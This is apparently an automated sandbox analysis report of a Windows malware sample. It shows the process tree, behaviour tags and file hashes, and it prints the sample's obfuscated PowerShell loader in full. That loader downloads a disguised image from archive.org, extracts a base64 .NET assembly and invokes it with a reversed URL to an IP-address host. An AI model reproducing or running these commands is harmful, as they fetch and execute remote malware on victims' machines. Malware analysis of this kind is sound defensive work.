㋃ ⼏ ⫟BB□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟cwBl□ ⿉ ㋃ ⼏ ⫟G0□ ⿉ ㋃ ⼏ ⫟YgBs□ ⿉ ㋃ ⼏ ⫟Hk□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟9□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟WwBT□ ⿉ ㋃ ⼏ ⫟Hk□ ⿉ ㋃ ⼏ ⫟cwB0□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟bQ□ ⿉ ㋃ ⼏ ⫟u□ ⿉ ㋃ ⼏ ⫟FI□ ⿉ ㋃ ⼏ ⫟ZQBm□ ⿉ ㋃ ⼏ ⫟Gw□ ⿉ ㋃ ⼏ ⫟ZQBj□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟aQBv□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟LgBB□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟cwBl□ ⿉ ㋃ ⼏ ⫟G0□ ⿉ ㋃ ⼏ ⫟YgBs□ ⿉ ㋃ ⼏ ⫟Hk□ ⿉ ㋃ ⼏ ⫟XQ□ ⿉ ㋃ ⼏ ⫟6□ ⿉ ㋃ ⼏ ⫟Do□ ⿉ ㋃ ⼏ ⫟T□ ⿉ ㋃ ⼏ ⫟Bv□ ⿉ ㋃ ⼏ ⫟GE□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟o□ ⿉ ㋃ ⼏ ⫟CQ□ ⿉ ㋃ ⼏ ⫟YwBv□ ⿉ ㋃ ⼏ ⫟G0□ ⿉ ㋃ ⼏ ⫟bQBh□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟BC□ ⿉ ㋃ ⼏ ⫟Hk□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bl□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟KQ□ ⿉ ㋃ ⼏ ⫟7□ ⿉ ㋃ ⼏ ⫟CQ□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟B5□ ⿉ ㋃ ⼏ ⫟H□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟ZQ□ ⿉ ㋃ ⼏ ⫟g□ ⿉ ㋃ ⼏ ⫟D0□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟Gw□ ⿉ ㋃ ⼏ ⫟bwBh□ ⿉ ㋃ ⼏ ⫟GQ□ ⿉ ㋃ ⼏ ⫟ZQBk□ ⿉ ㋃ ⼏ ⫟EE□ ⿉ ㋃ ⼏ ⫟cwBz□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟bQBi□ ⿉ ㋃ ⼏ ⫟Gw□ ⿉ ㋃ ⼏ ⫟eQ□ ⿉ ㋃ ⼏ ⫟u□ ⿉ ㋃ ⼏ ⫟Ec□ ⿉ ㋃ ⼏ ⫟ZQB0□ ⿉ ㋃ ⼏ ⫟FQ□ ⿉ ㋃ ⼏ ⫟eQBw□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟K□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟n□ ⿉ ㋃ ⼏ ⫟GQ□ ⿉ ㋃ ⼏ ⫟bgBs□ ⿉ ㋃ ⼏ ⫟Gk□ ⿉ ㋃ ⼏ ⫟Yg□ ⿉ ㋃ ⼏ ⫟u□ ⿉ ㋃ ⼏ ⫟Ek□ ⿉ ㋃ ⼏ ⫟Tw□ ⿉ ㋃ ⼏ ⫟u□ ⿉ ㋃ ⼏ ⫟Eg□ ⿉ ㋃ ⼏ ⫟bwBt□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟Jw□ ⿉ ㋃ ⼏ ⫟p□ ⿉ ㋃ ⼏ ⫟Ds□ ⿉ ㋃ ⼏ ⫟J□ ⿉ ㋃ ⼏ ⫟Bt□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bo□ ⿉ ㋃ ⼏ ⫟G8□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟g□ ⿉ ㋃ ⼏ ⫟D0□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟eQBw□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟LgBH□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟BN□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bo□ ⿉ ㋃ ⼏ ⫟G8□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟o□ ⿉ ㋃ ⼏ ⫟Cc□ ⿉ ㋃ ⼏ ⫟VgBB□ ⿉ ㋃ ⼏ ⫟Ek□ ⿉ ㋃ ⼏ ⫟Jw□ ⿉ ㋃ ⼏ ⫟p□ ⿉ ㋃ ⼏ ⫟C4□ ⿉ ㋃ ⼏ ⫟SQBu□ ⿉ ㋃ ⼏ ⫟HY□ ⿉ ㋃ ⼏ ⫟bwBr□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟K□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟dQBs□ ⿉ ㋃ ⼏ ⫟Gw□ ⿉ ㋃ ⼏ ⫟L□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟g□ ⿉ ㋃ ⼏ ⫟Fs□ ⿉ ㋃ ⼏ ⫟bwBi□ ⿉ ㋃ ⼏ ⫟Go□ ⿉ ㋃ ⼏ ⫟ZQBj□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟WwBd□ ⿉ ㋃ ⼏ ⫟F0□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟o□ ⿉ ㋃ ⼏ ⫟Cc□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟B4□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟LgBD□ ⿉ ㋃ ⼏ ⫟FY□ ⿉ ㋃ ⼏ ⫟RQBX□ ⿉ ㋃ ⼏ ⫟C8□ ⿉ ㋃ ⼏ ⫟TwBN□ ⿉ ㋃ ⼏ ⫟E8□ ⿉ ㋃ ⼏ ⫟R□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟v□ ⿉ ㋃ ⼏ ⫟H□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟c□ ⿉ ㋃ ⼏ ⫟Bt□ ⿉ ㋃ ⼏ ⫟GE□ ⿉ ㋃ ⼏ ⫟e□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟v□ ⿉ ㋃ ⼏ ⫟DE□ ⿉ ㋃ ⼏ ⫟MQ□ ⿉ ㋃ ⼏ ⫟x□ ⿉ ㋃ ⼏ ⫟C4□ ⿉ ㋃ ⼏ ⫟M□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟y□ ⿉ ㋃ ⼏ ⫟DE□ ⿉ ㋃ ⼏ ⫟Lg□ ⿉ ㋃ ⼏ ⫟x□ ⿉ ㋃ ⼏ ⫟DQ□ ⿉ ㋃ ⼏ ⫟MQ□ ⿉ ㋃ ⼏ ⫟u□ ⿉ ㋃ ⼏ ⫟DQ□ ⿉ ㋃ ⼏ ⫟OQ□ ⿉ ㋃ ⼏ ⫟v□ ⿉ ㋃ ⼏ ⫟C8□ ⿉ ㋃ ⼏ ⫟OgBw□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bo□ ⿉ ㋃ ⼏ ⫟Cc□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟s□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟JwBk□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟cwBh□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟aQB2□ ⿉ ㋃ ⼏ ⫟GE□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟Bv□ ⿉ ㋃ ⼏ ⫟Cc□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟s□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟JwBk□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟cwBh□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟aQB2□ ⿉ ㋃ ⼏ ⫟GE□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟Bv□ ⿉ ㋃ ⼏ ⫟Cc□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟s□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟JwBk□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟cwBh□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟aQB2□ ⿉ ㋃ ⼏ ⫟GE□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟Bv□ ⿉ ㋃ ⼏ ⫟Cc□ ⿉ ㋃ ⼏ ⫟L□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟n□ ⿉ ㋃ ⼏ ⫟FI□ ⿉ ㋃ ⼏ ⫟ZQBn□ ⿉ ㋃ ⼏ ⫟EE□ ⿉ ㋃ ⼏ ⫟cwBt□ ⿉ ㋃ ⼏ ⫟Cc□ ⿉ ㋃ ⼏ ⫟L□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟n□ ⿉ ㋃ ⼏ ⫟Cc□ ⿉ ㋃ ⼏ ⫟KQ□ ⿉ ㋃ ⼏ ⫟p□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟==';$OWjuxD = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $Codigo.replace('□ ⿉ ㋃ ⼏ ⫟','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.CVEW/OMOD/ppmax/111.021.141.49//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2068
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD509674facbd310995bb062a471cd51c5a
SHA1161111e15f166d8b49ce6d897f9a573767f74503
SHA256da210d8902f84d0871742dca0141be4591ca402b70cca83756b0067292a2d60d
SHA51220a07b08259bce7504c4c946252c6deba314d216b2020d49ea771843426d7dcf8c37ebcb97dd04e6dfe6d1a4dffe2ee2ee0fd888d9bbc0af4e0cb5daaeb96cd0